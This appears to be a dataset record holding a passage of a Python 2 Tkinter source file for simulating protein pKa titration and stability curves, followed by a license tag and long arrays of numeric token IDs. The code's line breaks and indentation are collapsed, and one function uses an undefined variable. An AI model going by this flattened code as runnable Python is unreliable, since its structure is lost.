contributions',variable=self.contrib_type,value=2,command=self.update_curves).grid(row=row,column=2) # # Should we show min and max stabilisation? # self.show_min_max_stab=IntVar() self.show_min_max_stab.set(1) Checkbutton(self.U_control,text='Show min and max stabilisation', onvalue=1, offvalue=0, variable=self.show_min_max_stab, command=self.update_pkasystem_curves).grid(row=row,column=3) # # Update curves # self.window.update() self.U_control.update() self.stab_test_on=None self.update_pkasystem_curves() # # Move the windows to sensible positions # width,height,xorg,yorg=self.get_geometry(self.win) self.U_control.geometry('+%d+%d' %(xorg,yorg+height)) # width,height,xorg,yorg=self.get_geometry(self.U_control) self.stab_window.geometry('+%d+%d' %(xorg,yorg+height)) # # Activate the callbacks for the unfolded groups # self.activate_callbacks() else: self.old_stab_status='off' self.stab_window.destroy() self.U_control.destroy() return # # -------------------- # def dummy(self,event=None): """Dummy callback function""" return # # ---- # def setup_system(self,group_array,X,energies=None): """Set up the system of titratable groups from the info in group_array""" import string # # Create the description of the system # self.names={} self.ids={} for group in group_array.keys(): name=':'+string.zfill(group,4)+':' if group_array[group].acid_base.get()==1: name=name+'ASP' else: name=name+'ARG' self.names[group]=name self.ids[name]=group # # Update experimtal data dictionary to new names... # if getattr(self,'titration_data',None): for old_key in self.titration_data.keys(): for new_key in self.names: if int(old_key[1:5]) == int(self.names[new_key][1:5]): nk = old_key[0:6]+self.names[new_key][6:] self.titration_data[self.names[new_key]]=self.titration_data[old_key] if not old_key == self.names[new_key]: del self.titration_data[old_key] # # Add all data # matrix={} X.intene={} X.intrinsic_pKa={} for group in group_array.keys(): # # Set everything # name1=self.names[group] # Int pKa intpka=group_array[group].intpka.get() X.intrinsic_pKa[name1]=intpka type=group_array[group].acid_base.get() # # Set the interaction energies # if not X.intene.has_key(group): X.intene[name1]={} matrix[name1]={} for group2 in group_array[group].intenes.keys(): type2=group_array[group2].acid_base.get() name2=self.names[group2] if group_array[group].active.get()==1 and group_array[group2].active.get()==1: if type==type2: X.intene[name1][name2]=group_array[group].intenes[group2].get() else: X.intene[name1][name2]=-group_array[group].intenes[group2].get() if name1!=name2: matrix[name1][name2]=self.E2dist(X.intene[name1][name2],energies) else: X.intene[name1][name2]=0.0 # # We only have part of the interaction energies in each group # This is because the interaction energy is stored as a single # Tk variable # for group2 in group_array.keys(): name2=self.names[group2] type2=group_array[group2].acid_base.get() if group2!=group: if group_array[group2].intenes.has_key(group): # # Is this group active? # if group_array[group].active.get()==1 and group_array[group2].active.get()==1: if type==type2: X.intene[name1][name2]=group_array[group2].intenes[group].get() else: X.intene[name1][name2]=-group_array[group2].intenes[group].get() # # Matrix of distances # if name1!=name2: matrix[name1][name2]=self.E2dist(X.intene[name1][name2],energies) else: X.intene[name1][name2]=0.0 # else: X.intene[name1][name2]=0.0 # Default distance for zero interaction energy if name1!=name2: matrix[name1][name2]=self.E2dist(0.0,energies) # # All Done # return matrix # # ----------------- # def E2dist(self,E,energies=None): """ # convert an electrostatic interaction energy to a distance # Units: E(kT), dist: A If energies==1, then we do not convert the energy""" # # Check if we should return energies # import math if energies: return E # # No, return distances # E=abs(E) # the sign doesn't matter if E>0.001: # # Look in Tynan-Connolly and Nielsen, Protein Science: Re-Designing protein pKa values # for details on the formula below # eps=1.0 # We set eps to 1, and scale distances afterwards distance=243.3*math.log(10.0)/(eps*E) else: distance=1000.0 return distance # # ------------------ # def calc_pKas_from_scales(self,group_array): """Calculate pKa values for the system""" # # Fill instance with data # X=self.pkamethods[self.pkamethod_sel.get()]() MCsteps=0 if self.pkamethod_sel.get()=='Monte Carlo': MCsteps=self.MCsteps.get() self.mcsteps_scale.configure(state=ACTIVE) elif self.pkamethod_sel.get()=='Monte Carlo (C++)': MCsteps=200000 else: self.mcsteps_scale.configure(state=DISABLED) # matrix_dummy=self.setup_system(group_array,X) # # Set the pKa value variables # X.groups=X.intrinsic_pKa.keys() X.groups.sort() # # Make a list of experimental pH values to include in calculation # exp_pHs =[] if getattr(self,'titration_data',None): for group in self.titration_data.keys(): for pH in self.titration_data[group].keys(): if exp_pHs.count(pH) == 0: exp_pHs.append(pH) # # also include pH values from loaded ph-activity profile # if getattr(self,'activity_data',None): for pH in self.activity_data.keys(): if exp_pHs.count(pH) == 0: exp_pHs.append(pH) # # and also from ftir data # if getattr(self, 'FTIR_win',None): for pH in self.FTIR_win.ftir_data.keys(): if exp_pHs.count(pH) ==0: exp_pHs.append(pH) # # Include the effect of non-system groups? # if hasattr(self,'non_system_groups'): if self.non_system_groups: X.non_system_groups={} for group_id in self.non_system_groups.keys(): name=self.names[group_id] X.non_system_groups[name]=self.non_system_groups[group_id].copy() # # Get the pKa values # pKa_values,prot_states=X._calc_pKas(mcsteps=MCsteps, phstep=self.pHstep.get(), phstart=self.pHstart, phend=self.pHend, exp_pHs=exp_pHs, verbose=1) return X,pKa_values,prot_states # # ----------------- # def update_scales(self,junk=None,draw=1,doit=None): """Update the scale widgets when the user moves a dial""" # # Folded (normal) groups # for group in self.groups.keys(): self.groups[group].update_scales() # # Update the unfolded scales if theyr're active # if self.stability_var.get()=='on': for group in self.unfolded_groups.keys(): self.unfolded_groups[group].update_scales() # # Redraw everything # self.update_pkasystem_curves(junk,draw,doit) return # # ----- # def update_scales_from_fit(self,junk=None,draw=1,doit=None): # # update group scales from fitter # for group in self.groups: self.groups[group].update_scales_from_fit() self.update_pkasystem_curves(junk,draw,doit) return # # ----- # def update_pkasystem_curves(self,junk=None,draw=1,doit=None): """Update all curves""" if self.init_not_done: return if self.stab_test_on and doit==None: return # # Redraw the curves # import string, pKarun PKana=pKarun.pKa_general.pKanalyse() # # Calculate pKa values for the folded form # X,pKa_values,prot_states=self.calc_pKas_from_scales(self.groups) self.pKa_calc_instance=X if not draw: return X # # Set the pKa values # for group in pKa_values.keys(): self.groups[self.ids[group]].update_group_control() self.groups[self.ids[group]].pkavalue.set("%4.1f" %pKa_values[group]) # # Set the HH fit # solution,sq=PKana.fit_to_henderson(X.prot_states[group]) try: self.groups[self.ids[group]].HHfit.set('%5.2f (%4.2f / %3.2f)' %(abs(float(solution[1])),abs(float(solution[0])),float(sq))) except: self.groups[self.ids[group]].HHfit.set('HH-fit error') # # Delete all lines from last round # for line in self.lines.keys(): self.tc.delete(line) del self.lines[line] # Draw the titration curves self.titration_curves={} groups=pKa_values.keys() groups.sort() group_count=0 colour_map = {} for group in groups: # # Store everything in self.titration_curves # self.titration_curves[group]=X.prot_states[group].copy() # # Is this group active? # if self.groups[group_count].active.get()==0: group_count=group_count+1 continue # # Yes # style=self.groups[group_count].style.get() lastpH=X.pHvalues[0] lastcrg=X.prot_states[group][lastpH] colour=self.colour_order[group_count%len(self.colour_order)] colour_map[group] = colour # for pH in X.pHvalues[1:]: lastx,lasty=self.get_xy(lastpH,lastcrg) crg=X.prot_states[group][pH] x,y=self.get_xy(pH,crg) if style==1: self.lines[(self.tc.create_line(lastx,lasty,float(x),float(y), fill=colour, width=self.linewidth))]=1 else: self.lines[(self.tc.create_line(lastx,lasty,float(x),float(y), fill=colour, width=self.linewidth, dash=(1,2)))]=1 lastcrg=crg lastpH=pH # # Update the counter for colours # group_count=group_count+1 # # Should we draw the microscopic states? # if self.micro_var.get()==1: self.update_microstates(X) else: self.close_state_win() # # Should we draw the stabilty curves? # stab_status=self.stability_var.get() if stab_status=='on': self.stability=self.do_stab_curve(X) # # Should we display loaded titration curves? # #try: # print 'titration_data', self.titration_data #except: # print 'no titration_data' if self.display_loaded_curves.get()==1: if not getattr(self,'titration_data',None): import tkMessageBox tkMessageBox.showwarning('No titration curves loaded', 'Load titration curves first') self.display_loaded_curves.set(0) else: for group in self.titration_data.keys(): phvals=self.titration_data[group].keys() phvals.sort() for ph in phvals: crg=self.titration_data[group][ph] x,y=self.get_xy(ph,crg) try: f = colour_map[group] except: f = 'yellow' handle=self.tc.create_oval(x-2,y-2,x+2,y+2,fill=f) self.lines[handle]=1 # # Is there an FTIR model to update? # if self.show_ftir.get() == 1: if getattr(self, 'FTIR_win',None): self.FTIR_win.draw_fit() else: self.FTIR_win = ftir_data.FTIR_data(self) self.FTIR_win.draw_fit() # # Other callbacks? # self.check_other_callbacks() return X # # ------- # def check_other_callbacks(self): """self.callbacks holds a list of funcions that should be called""" if not hasattr(self,'callbacks'): self.callbacks=[] for callback in self.callbacks: callback() return def add_callback(self,function): """Add a callback function""" self.check_other_callbacks() add=1 for callback in self.callbacks: if function==callback: add=None break if add: self.callbacks.append(function) self.check_other_callbacks() return # # ------------- # def do_stab_curve(self,X): """ Calculate the stability curve""" # # Make sure that the acid/base info for the unfolded form is the same # as for the folded form # for group in self.unfolded_groups.keys(): acid_base=self.groups[group].acid_base.get() self.unfolded_groups[group].acid_base.set(acid_base) # # Calculate pKa values for the unfolded form # UF,ufpKa_values,UF_prot_states=self.calc_pKas_from_scales(self.unfolded_groups) for group in ufpKa_values.keys(): self.unfolded_groups[self.ids[group]].pkavalue.set("%4.1f" %ufpKa_values[group]) # # Get all the interaction energies # ufmatrix=self.setup_system(group_array=self.unfolded_groups,X=UF,energies=1) matrix=self.setup_system(group_array=self.groups,X=X,energies=1) # # Integrate # integral=0.0 intcurve=[] intcurve2=[] dpH=abs(X.pHvalues[0]-X.pHvalues[1]) min_val=99999 max_val=-9999 # # Specify constants # k=1.3806503E-23 T=298.15 Na=6.02214199E23 #factor=k*T*Na/1000.0 # No don't do it factor=1 import math ln10=math.log(10) # # Loop over all pH values # stability={} for pH in X.pHvalues: intcurve.append(integral) stability[pH]=integral #Dictionary that will be passed back # # Update min and max # if integral<min_val: min_val=integral if integral>max_val: max_val=integral # # Calculate total stability # for group in ufpKa_values.keys(): integral=integral+ln10*dpH*(X.prot_states[group][pH]-UF.prot_states[group][pH])*factor # # Calculate the electrostatic interaction # integral2=0 for group in matrix.keys(): for group2 in matrix.keys(): # # Get the interaction between this group and the other group # g1_id=self.ids[group] g2_id=self.ids[group2] if self.groups[g1_id].active.get()==1 and self.groups[g2_id].active.get()==1 and group!=group2: integral2=integral2+abs(X.prot_states[group][pH])*abs(X.prot_states[group2][pH])*matrix[group][group2]/2.0*factor # Subtract the interaction in the unfolded state integral2=integral2-abs(UF.prot_states[group][pH])*abs(UF.prot_states[group2][pH])*ufmatrix[group][group2]/2.0*factor # # Update min and max # if integral2<min_val: min_val=integral2 if integral2>max_val: max_val=integral2 intcurve2.append(integral2) max_stabilisation=max_val min_stabilisation=min_val # # Plot the whole thing # lastpH=X.pHvalues[0] lastval=intcurve[0] count=1 span=max_val-min_val # # Delete the lines from last time # for line in self.stab_lines.keys(): self.stab_tc.delete(line) del self.stab_lines[line] # # Draw the y axis # canvas=self.stab_tc x_axis=self.get_x(X.pHvalues[0])-20 y_axis=get_y_fromstab(min_val,span) endy=get_y_fromstab(max_val,span) self.stab_lines[canvas.create_line(x_axis,max([160,y_axis]), x_axis,endy-10,fill='black', width=self.linewidth)]=1 self.stab_lines[canvas.create_text(x_axis+10,endy-35,text='delta G of folding (kT)',fill='black',anchor='w')]=1 # # Tick marks and tick labels # for tickval in range(int(min_val*100),int(max_val*100),int(max([(span*100.0)/5.0,1.0]))): y=get_y_fromstab(tickval/100.0,span) self.stab_lines[canvas.create_line(x_axis, y,x_axis-5,y, fill='black',width=self.linewidth)]=1 self.stab_lines[canvas.create_text(x_axis-25,y,text='%5.2f' %( float(tickval)/100.0),fill='black')]=1 # # Draw the stability lines # count=1 summed_contributions={} label_position={} for pH in X.pHvalues[1:]: lastx=self.get_x(lastpH) lasty=get_y_fromstab(lastval,span) val=intcurve[count] x=self.get_x(pH) y=get_y_fromstab(val,span) self.stab_lines[self.stab_tc.create_line(lastx,lasty,float(x),float(y), fill='black', width=self.linewidth)]=1 # # Outline the contribution of each group # if self.show_grp_contribs.get()==1: colour_count=0 null_y=get_y_fromstab(0.0,span) starty_positive=null_y starty_negative=null_y ufgroups=ufpKa_values.keys() ufgroups.sort() for group in ufgroups: # # Is this group active? # g1_id=self.ids[group] if self.groups[g1_id].active.get()==1: # # Make sure the dictionary is initialised # if not summed_contributions.has_key(group): summed_contributions[group]=0.0 label_position[group]=None # # Get this contribution # dx=abs(lastx-x) if self.contrib_type.get()==1: # # Here we get the stability contribution from pKa shifts # endy=get_y_fromstab(dpH*ln10*(X.prot_states[group][pH]-UF.prot_states[group][pH])*factor,span)-null_y summed_contributions[group]=summed_contributions[group]+endy else: # # Otherwise the stability contribution from charge-charge interactions # stab=0.0 for group2 in matrix.keys(): # # Get the interaction between this group and the other group # g2_id=self.ids[group2] if self.groups[g1_id].active.get()==1 and self.groups[g2_id].active.get()==1 and group!=group2: stab=stab+abs(X.prot_states[group][pH])*abs(X.prot_states[group2][pH])*matrix[group][group2]/2.0*factor # Subtract the interaction in the unfolded state stab=stab-abs(UF.prot_states[group][pH])*abs(UF.prot_states[group2][pH])*ufmatrix[group][group2]/2.0*factor endy=get_y_fromstab(stab,span)-null_y summed_contributions[group]=endy # # Draw the box # endy=summed_contributions[group] if endy>0: self.stab_lines[self.stab_tc.create_rectangle(x+1.5*dx,starty_positive,lastx+1.5*dx,endy+starty_positive, fill=self.colour_order[colour_count], outline=self.colour_order[colour_count], stipple='gray50', width=self.linewidth)]=1 label_position[group]=(starty_positive*2+endy)/2.0 starty_positive=endy+starty_positive else: self.stab_lines[self.stab_tc.create_rectangle(x+1.5*dx,starty_negative,lastx+1.5*dx,endy+starty_negative, fill=self.colour_order[colour_count], outline=self.colour_order[colour_count], stipple='gray50', width=self.linewidth)]=1 label_position[group]=(starty_negative*2+endy)/2.0 starty_negative=endy+starty_negative colour_count=colour_count+1 if colour_count==len(self.colour_order): colour_count=0 # # Continue # lastval=val lastpH=pH count=count+1 # # Put labels on the contributions # if self.show_grp_contribs.get()==1: colour_count=0 for group in ufgroups: # # Is this group active? # g1_id=self.ids[group] if self.groups[g1_id].active.get()==1: x=self.get_x(X.pHvalues[-1]) y=label_position[group] colour=self.colour_order[colour_count] self.stab_lines[canvas.create_text(x+50,y,text=group, fill=colour, anchor='w')]=1 # # Update colours # colour_count=colour_count+1 if colour_count==len(self.colour_order): colour_count=0 # # Put in labels for min and max stabilisation # if self.show_min_max_stab.get()==1: obj1=canvas.create_text(850,150,text='MAX destab: %5.2f kT' %max_stabilisation,fill='red',anchor='w') obj2=canvas.create_text(850,180,text='MAX stab: %5.2f kT' %min_stabilisation,fill='blue',anchor='w') self.stab_lines[obj1]=1 self.stab_lines[obj2]=1 # # Do we have an experimental stability curve? # if self.exp_stab_curve: for pH,ddG in self.exp_stab_curve: x=self.get_x(pH) y=get_y_fromstab(ddG,span) self.stab_lines[canvas.create_oval(x-5,y-5,x+5,y+5)]=1 return stability # # --------------- # def start_geom(self): """Start geom opt""" import pKa_calc X=pKa_calc.Boltzmann() distance_matrix=self.setup_system(self.groups,X) import dist_geom GM=dist_geom.distance_optimisation(distance_matrix,self.titration_curves) return # # ---- # def do_geom(self): # # Do geometry optimisation # # Update distances # import pKa_calc X=pKa_calc.Boltzmann() distance_matrix=self.setup_system(self.groups,X) self.MD.set_eqdists(distance_matrix) #diff=self.MD.EM(1) # # Delete old ovals # for oval in self.oval.keys(): self.geom_tc.delete(oval) del self.oval[oval] # # Plot positions # group_count=0 groups=self.MD.atoms.keys() groups.sort() for grp in groups: pos=self.MD.atoms[grp]['pos'] x=pos[0] y=pos[1] z=pos[2] self.oval[self.geom_tc.create_oval(x-5,y-5,x+5,y+5,fill=self.colour_order[group_count])]=1 group_count=group_count+1 self.oval[self.geom_tc.create_text(10,10,anchor='nw',text='Sum of unsatisfied dists: %5.3f' %(diff))]=1 self.geom_window.after(100,self.start_geom) return # # ---------------- # def copy_to_Ekin(self): """Copy a titration curve or a population curve to the Ekin facility of EAT_DB""" try: import os,sys import PEATDB.Ekin except: import tkMessageBox tkMessageBox.showwarning('Cannot find PEAT', 'Cannot find PEAT_DB\nMake sure that you download PEAT from\nhttp://enzyme.ucd.ie/PEAT') return # # Pick a group # self.pick_group=Toplevel() self.pick_group.title('Pick a group') self.pick_group.geometry('+200+200') self.group_picked=IntVar() count=0 groups=self.groups.keys() groups.sort() for group in groups: Radiobutton(self.pick_group,text='%d:%s' %(group,self.groups[group].name.get()), variable=self.group_picked, value=count).grid(row=count,column=0) count=count+1 self.group_picked.set(groups[0]) Button(self.pick_group,text='Copy group',command=self.copy_group).grid(row=count,column=0) Button(self.pick_group,text='Cancel',command=self.cancel_copy_group).grid(row=count,column=1) return # # ---- # def copy_group(self,event=None): """Get the titration curve and send it to Ekin""" group=None for id in self.ids.keys(): if self.ids[id]==self.group_picked.get(): group=id break if not group: raise 'Something very odd happended in copy_group' # # Get the data and reformat it # data=self.titration_curves[group].copy() del data['pKa'] new_data={} new_data[0]={} new_data[1]={} count=0 pHs=self.titration_curves[group].keys() pHs.sort() for pH in pHs: new_data[0][count]=pH new_data[1][count]=self.titration_curves[group][pH] count=count+1 # # Open Ekin, and load the data # import os,sys import EAT_DB.Ekin EK=EAT_DB.Ekin.Ekin(parent=self) EK.pass_data(new_data) # # Destroy the little window # self.pick_group.destroy() return # # ---- # def cancel_copy_group(self,event=None): """Cancel copy group to Ekin""" self.pick_group.destroy() return # # ----------------- # if __name__=='__main__': import sys if len(sys.argv)==2: numgroups=int(sys.argv[1]) pKa_system(numgroups).mainloop() else: pKa_system().mainloop()
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 11601, 13, 4830, 13, 1046, 1882, 199, 3, 199, 3, 299, 26133, 5157, 446, 11284, 402, 10460, 402, 3367, 454, 15511, 4652, 199, 3, 1898, 334, 35, 9, 7129, 1603, 8764, 662, 25844, 653, 14769, 2464, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 3, 18684, 2556, 26, 221, 199, 3, 11426, 26, 1603, 8764, 14, 46, 14769, 2464, 63, 292, 63, 6799, 14, 957, 199, 3, 11514, 6016, 26, 199, 3, 1603, 8764, 653, 14769, 2464, 199, 3, 428, 5342, 51, 12, 1448, 3316, 1010, 25585, 199, 3, 15904, 3626, 274, 303, 577, 456, 472, 199, 3, 577, 456, 472, 841, 12, 473, 3369, 460, 199, 199, 646, 984, 199, 504, 16826, 492, 627, 199, 646, 10157, 25213, 199, 646, 299, 26133, 63, 1095, 12, 299, 26133, 63, 2253, 63, 3437, 12, 299, 26133, 63, 8104, 12, 299, 26133, 63, 2253, 63, 6453, 12, 299, 26133, 63, 2253, 63, 493, 63, 4470, 12, 445, 2890, 51, 63, 270, 371, 63, 2992, 199, 646, 299, 26133, 63, 2253, 63, 576, 63, 29798, 5332, 199, 646, 1572, 63, 2785, 199, 646, 289, 280, 82, 63, 576, 199, 199, 363, 80, 26133, 3989, 3353, 363, 29, 17, 14, 18, 199, 199, 3, 199, 3, 10579, 5922, 3423, 199, 3, 199, 199, 318, 664, 63, 89, 63, 504, 270, 371, 8, 637, 12, 3751, 304, 272, 408, 1002, 314, 612, 10021, 367, 25174, 314, 410, 3616, 15318, 624, 272, 4697, 29, 709, 272, 3343, 1842, 29, 7663, 272, 340, 13598, 389, 16, 26, 267, 13598, 29, 709, 272, 372, 334, 2180, 1842, 13, 637, 5830, 2180, 1842, 15, 3751, 430, 11, 4262, 421, 199, 3, 199, 3, 3001, 199, 3, 421, 199, 533, 299, 26133, 63, 2253, 8, 3160, 12, 80, 26133, 63, 1095, 14, 80, 26133, 63, 1095, 12, 80, 26133, 63, 2253, 63, 3437, 14, 2253, 63, 3437, 12, 326, 299, 26133, 63, 2253, 63, 3437, 14, 80, 43, 2464, 20635, 12, 326, 299, 26133, 63, 2253, 63, 3437, 14, 271, 12607, 12, 326, 299, 26133, 63, 2253, 63, 6453, 14, 23990, 63, 4981, 12, 326, 299, 26133, 63, 2253, 63, 493, 63, 4470, 14, 493, 63, 4470, 12, 326, 299, 26133, 63, 2253, 63, 493, 63, 4470, 14, 3269, 63, 4470, 12, 326, 299, 26133, 63, 2253, 63, 576, 63, 29798, 5332, 14, 576, 63, 29798, 5332, 12, 326, 445, 2890, 51, 63, 270, 371, 63, 2992, 14, 4619, 280, 1292, 425, 63, 13182, 304, 339, 347, 636, 826, 721, 277, 12, 1507, 2634, 29, 403, 12, 1708, 63, 3578, 29, 403, 12, 576, 29, 403, 12, 496, 15859, 29, 403, 12, 698, 63, 354, 29, 403, 12, 873, 29, 549, 304, 267, 327, 267, 327, 2494, 1536, 314, 2446, 4353, 267, 327, 267, 327, 710, 2446, 4353, 6571, 7141, 3382, 314, 3365, 12404, 267, 327, 367, 3063, 26, 299, 26133, 19821, 1298, 12, 299, 26133, 6187, 267, 327, 267, 291, 14, 998, 534, 80, 26133, 63, 2253, 7, 267, 291, 14, 4246, 628, 17687, 3144, 17268, 2, 267, 291, 14, 9681, 63, 14476, 534, 7510, 7, 267, 291, 14, 6856, 63, 14476, 534, 8399, 7, 267, 291, 14, 14476, 63, 1648, 2968, 3, 21336, 772, 24205, 22872, 556, 1673, 581, 1673, 7731, 1673, 5615, 21335, 1673, 14514, 1673, 22683, 1673, 16708, 1673, 5615, 21335, 418, 267, 291, 14, 24643, 29, 18, 267, 291, 14, 1247, 7622, 267, 291, 14, 2019, 694, 29, 403, 267, 291, 14, 1708, 63, 3578, 29, 1708, 63, 3578, 267, 291, 14, 826, 63, 1397, 63, 4456, 29, 17, 267, 291, 14, 998, 534, 80, 26133, 63, 2253, 7, 267, 291, 14, 496, 15859, 29, 496, 15859, 267, 291, 14, 698, 63, 354, 29, 698, 63, 354, 267, 327, 267, 327, 1933, 3616, 4353, 2633, 267, 327, 267, 291, 14, 270, 371, 63, 3806, 29, 403, 267, 291, 14, 53, 63, 2785, 29, 403, 267, 291, 14, 1753, 63, 270, 371, 63, 1205, 19070, 267, 291, 14, 1474, 63, 270, 371, 63, 11895, 29, 797, 267, 327, 267, 327, 2494, 314, 299, 26133, 15232, 2633, 267, 327, 267, 291, 14, 80, 40, 928, 29, 16, 14, 22417, 267, 291, 14, 80, 40, 500, 29, 1165, 14, 16, 267, 291, 14, 988, 1556, 71, 29, 17, 14, 16, 267, 291, 14, 827, 1556, 71, 4022, 17, 14, 16, 267, 327, 267, 327, 299, 26133, 1083, 267, 327, 267, 291, 14, 2051, 313, 594, 83, 3713, 34, 393, 3903, 20059, 356, 80, 26133, 63, 8104, 14, 34, 393, 3903, 20059, 12, 586, 283, 6671, 266, 14243, 320, 356, 80, 26133, 63, 8104, 14, 6671, 266, 63, 16034, 320, 12, 586, 283, 52, 290, 18090, 13, 3863, 88, 991, 356, 80, 26133, 63, 8104, 14, 52, 290, 18090, 63, 3863, 88, 991, 12, 586, 283, 6671, 266, 14243, 320, 334, 35, 4176, 11862, 80, 26133, 63, 8104, 14, 6671, 266, 63, 16034, 320, 63, 14533, 12, 586, 283, 34, 393, 3903, 20059, 334, 35, 4176, 11862, 80, 26133, 63, 8104, 14, 34, 393, 3903, 20059, 63, 14533, 93, 267, 327, 267, 327, 2670, 340, 781, 787, 2797, 687, 3447, 90, 7467, 267, 327, 267, 291, 14, 287, 90, 5206, 29, 797, 267, 340, 557, 15859, 6803, 363, 287, 90, 5206, 63, 3578, 3706, 288 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 11601, 13, 4830, 13, 1046, 1882, 199, 3, 199, 3, 299, 26133, 5157, 446, 11284, 402, 10460, 402, 3367, 454, 15511, 4652, 199, 3, 1898, 334, 35, 9, 7129, 1603, 8764, 662, 25844, 653, 14769, 2464, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 3, 18684, 2556, 26, 221, 199, 3, 11426, 26, 1603, 8764, 14, 46, 14769, 2464, 63, 292, 63, 6799, 14, 957, 199, 3, 11514, 6016, 26, 199, 3, 1603, 8764, 653, 14769, 2464, 199, 3, 428, 5342, 51, 12, 1448, 3316, 1010, 25585, 199, 3, 15904, 3626, 274, 303, 577, 456, 472, 199, 3, 577, 456, 472, 841, 12, 473, 3369, 460, 199, 199, 646, 984, 199, 504, 16826, 492, 627, 199, 646, 10157, 25213, 199, 646, 299, 26133, 63, 1095, 12, 299, 26133, 63, 2253, 63, 3437, 12, 299, 26133, 63, 8104, 12, 299, 26133, 63, 2253, 63, 6453, 12, 299, 26133, 63, 2253, 63, 493, 63, 4470, 12, 445, 2890, 51, 63, 270, 371, 63, 2992, 199, 646, 299, 26133, 63, 2253, 63, 576, 63, 29798, 5332, 199, 646, 1572, 63, 2785, 199, 646, 289, 280, 82, 63, 576, 199, 199, 363, 80, 26133, 3989, 3353, 363, 29, 17, 14, 18, 199, 199, 3, 199, 3, 10579, 5922, 3423, 199, 3, 199, 199, 318, 664, 63, 89, 63, 504, 270, 371, 8, 637, 12, 3751, 304, 272, 408, 1002, 314, 612, 10021, 367, 25174, 314, 410, 3616, 15318, 624, 272, 4697, 29, 709, 272, 3343, 1842, 29, 7663, 272, 340, 13598, 389, 16, 26, 267, 13598, 29, 709, 272, 372, 334, 2180, 1842, 13, 637, 5830, 2180, 1842, 15, 3751, 430, 11, 4262, 421, 199, 3, 199, 3, 3001, 199, 3, 421, 199, 533, 299, 26133, 63, 2253, 8, 3160, 12, 80, 26133, 63, 1095, 14, 80, 26133, 63, 1095, 12, 80, 26133, 63, 2253, 63, 3437, 14, 2253, 63, 3437, 12, 326, 299, 26133, 63, 2253, 63, 3437, 14, 80, 43, 2464, 20635, 12, 326, 299, 26133, 63, 2253, 63, 3437, 14, 271, 12607, 12, 326, 299, 26133, 63, 2253, 63, 6453, 14, 23990, 63, 4981, 12, 326, 299, 26133, 63, 2253, 63, 493, 63, 4470, 14, 493, 63, 4470, 12, 326, 299, 26133, 63, 2253, 63, 493, 63, 4470, 14, 3269, 63, 4470, 12, 326, 299, 26133, 63, 2253, 63, 576, 63, 29798, 5332, 14, 576, 63, 29798, 5332, 12, 326, 445, 2890, 51, 63, 270, 371, 63, 2992, 14, 4619, 280, 1292, 425, 63, 13182, 304, 339, 347, 636, 826, 721, 277, 12, 1507, 2634, 29, 403, 12, 1708, 63, 3578, 29, 403, 12, 576, 29, 403, 12, 496, 15859, 29, 403, 12, 698, 63, 354, 29, 403, 12, 873, 29, 549, 304, 267, 327, 267, 327, 2494, 1536, 314, 2446, 4353, 267, 327, 267, 327, 710, 2446, 4353, 6571, 7141, 3382, 314, 3365, 12404, 267, 327, 367, 3063, 26, 299, 26133, 19821, 1298, 12, 299, 26133, 6187, 267, 327, 267, 291, 14, 998, 534, 80, 26133, 63, 2253, 7, 267, 291, 14, 4246, 628, 17687, 3144, 17268, 2, 267, 291, 14, 9681, 63, 14476, 534, 7510, 7, 267, 291, 14, 6856, 63, 14476, 534, 8399, 7, 267, 291, 14, 14476, 63, 1648, 2968, 3, 21336, 772, 24205, 22872, 556, 1673, 581, 1673, 7731, 1673, 5615, 21335, 1673, 14514, 1673, 22683, 1673, 16708, 1673, 5615, 21335, 418, 267, 291, 14, 24643, 29, 18, 267, 291, 14, 1247, 7622, 267, 291, 14, 2019, 694, 29, 403, 267, 291, 14, 1708, 63, 3578, 29, 1708, 63, 3578, 267, 291, 14, 826, 63, 1397, 63, 4456, 29, 17, 267, 291, 14, 998, 534, 80, 26133, 63, 2253, 7, 267, 291, 14, 496, 15859, 29, 496, 15859, 267, 291, 14, 698, 63, 354, 29, 698, 63, 354, 267, 327, 267, 327, 1933, 3616, 4353, 2633, 267, 327, 267, 291, 14, 270, 371, 63, 3806, 29, 403, 267, 291, 14, 53, 63, 2785, 29, 403, 267, 291, 14, 1753, 63, 270, 371, 63, 1205, 19070, 267, 291, 14, 1474, 63, 270, 371, 63, 11895, 29, 797, 267, 327, 267, 327, 2494, 314, 299, 26133, 15232, 2633, 267, 327, 267, 291, 14, 80, 40, 928, 29, 16, 14, 22417, 267, 291, 14, 80, 40, 500, 29, 1165, 14, 16, 267, 291, 14, 988, 1556, 71, 29, 17, 